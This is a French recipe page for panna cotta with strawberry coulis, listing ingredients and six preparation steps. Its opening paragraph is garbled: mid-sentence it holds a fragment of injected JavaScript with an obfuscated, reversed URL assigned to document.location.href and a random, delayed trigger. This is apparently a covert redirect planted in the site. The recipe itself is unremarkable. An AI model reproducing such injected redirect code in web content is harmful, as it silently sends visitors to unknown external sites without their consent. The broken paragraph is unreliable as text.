Panna cotta avec des fraises
2016-12-29- Niveau : Facile
Lavez, séchez, équeutez les fraises. Détaillez les en petits dés. Déposez les dans une casserole avec le sucre et le jus de citron. Faites cuire sur feu doux tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.
Ingrédients
- Pour 4 personnes
- 1 litre de crème fleurette
- 4 feuilles de gélatine
- 80 g de sucre en poudre
- 1 gousse de vanille
- Coulis de fraises
- 500 g de fraises
- 150 g de sucre en poudre
- 1 jus de citron
- 16 fraises entières pour la déco
Préparation de la recette
Etape 1
Lavez, séchez, équeutez les fraises. Détaillez les en petits dés. Déposez les dans une casserole avec le sucre et le jus de citron. Faites cuire sur feu doux tout en remuant.
Etape 2
Quand les fraises sont cuites. Les mixer. Laissez refroidir. Dans une assiette creuse remplie d'eau froide faites tremper les feuilles de gélatine pendant 20 minutes.
Etape 3
Versez la crème fleurette dans une casserole avec le sucre en poudre et la gousse de vanille que vous aurez préalablement fendue dans le sens de la longueur, grattez les petites graines avec la pointe d'un couteau.
Etape 4
Stopper le feu. Couvrez, laissez infuser. Egouttez les feuilles de gélatine. Dans une petite casserole versez quelques cuillères de crème fleurette.
Etape 5
Faites chauffer tout en remuant. Hors du feu plongez les feuilles de gélatine jusqu'à la dissolution complète.
Etape 6
Laissez refroidir. Beurrez 4 ramequins, répartissez la crème, le coulis de fraises dessus. Décorez avec les fraises entières et quelques feuilles de menthe. Saupoudrez de sucre en poudre et dégustez frais.
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